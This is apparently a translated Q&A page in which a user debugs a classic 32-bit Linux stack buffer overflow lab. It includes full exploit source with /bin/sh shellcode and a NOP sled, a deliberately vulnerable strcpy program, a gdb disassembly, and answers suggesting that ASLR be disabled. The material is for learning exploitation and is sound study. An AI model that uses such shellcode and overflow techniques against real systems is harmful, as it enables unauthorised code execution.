[英]i want use C shell code to make buffer overflow and execute bin/sh
我試圖使緩沖區溢出並運行 shellcode 來執行 bin/sh
我們的緩沖區大小的一個很好的選擇是比我們試圖溢出的緩沖區大小多大約 100 個字節。 這會將我們的代碼放在我們試圖溢出的緩沖區的末尾,為 NOP 提供大量空間,但仍然用我們猜測的地址覆蓋返回地址。 我們試圖溢出的緩沖區是 512 字節長,所以我們將使用 612。
漏洞利用3.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1)
bsize = atoi(argv[1]);
if (argc > 2)
offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%lx\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff); system("/bin/bash");
}
易受攻擊的.c
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[])
{
char xbuff[512];
if(argc >1)
strcpy(xbuff, argv[1]);
return 0;
}
函數 main 的匯編代碼
(gdb) disass main
Dump of assembler code for function main:
0x0804840b <+0>: lea 0x4(%esp),%ecx
0x0804840f <+4>: and $0xfffffff0,%esp
0x08048412 <+7>: pushl -0x4(%ecx)
0x08048415 <+10>: push %ebp
0x08048416 <+11>: mov %esp,%ebp
0x08048418 <+13>: push %ecx
0x08048419 <+14>: sub $0x204,%esp
0x0804841f <+20>: mov %ecx,%eax
0x08048421 <+22>: cmpl $0x1,(%eax)
0x08048424 <+25>: jle 0x8048441 <main+54>
0x08048426 <+27>: mov 0x4(%eax),%eax
0x08048429 <+30>: add $0x4,%eax
0x0804842c <+33>: mov (%eax),%eax
0x0804842e <+35>: sub $0x8,%esp
0x08048431 <+38>: push %eax
0x08048432 <+39>: lea -0x208(%ebp),%eax
0x08048438 <+45>: push %eax
0x08048439 <+46>: call 0x80482e0 <strcpy@plt>
0x0804843e <+51>: add $0x10,%esp
0x08048441 <+54>: mov $0x0,%eax
0x08048446 <+59>: mov -0x4(%ebp),%ecx
0x08048449 <+62>: leave
0x0804844a <+63>: lea -0x4(%ecx),%esp
0x0804844d <+66>: ret
End of assembler dump.
程序被執行,但 bin/sh 沒有被調用:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$
預期輸出為:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$ exit
[aleph1]$
有問題 ??!!
第二個問題:為什么exploit3.c在main()的末尾運行system("/bin/bash")?
exploit3
運行一個 shell,因為它在這里
memcpy(buff,"EGG=",4);
putenv(buff);
用數據創建一個環境變量,它應該溢出緩沖區,這在這個 shell 中是有效的:
system("/bin/bash");
如果程序簡單地結束,環境變量就“丟失”了,因為它沒有神奇地傳遞給調用進程。
至於為什么溢出不起作用:這很難說,因為環境可能會有很大差異。 您可以檢查以下內容:
/proc/sys/kernel/randomize_va_space
)main()
的末尾(就在ret
執行之前main()
使用帶有斷點的調試器並檢查 shellcode 現在所在的位置。 堆棧上的返回地址是否真的被正確的值覆蓋了?我記得 Shellcoder's Handbook 中有一段類似的代碼。
原始指南可以在這里找到: http : //www.ouah.org/lamagra-bof.txt
我在 2.6.20-15generic(從https://nostarch.com/hackingCD.htm下載的 VM 機器)上嘗試了該代碼,其中randomize_va_space設置為0 。
我不得不刪除文件“ /tmp/.first_run ”並且它起作用了。我還更新了/etc/apt/sources.list並更新了該版本的 Ubuntu ( https://help.ubuntu.com/community/ EOLUpgrades/Feisty )
下面的鏈接可能會有所幫助,它是關於 ShellCoder 手冊的勘誤和注釋的博客。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.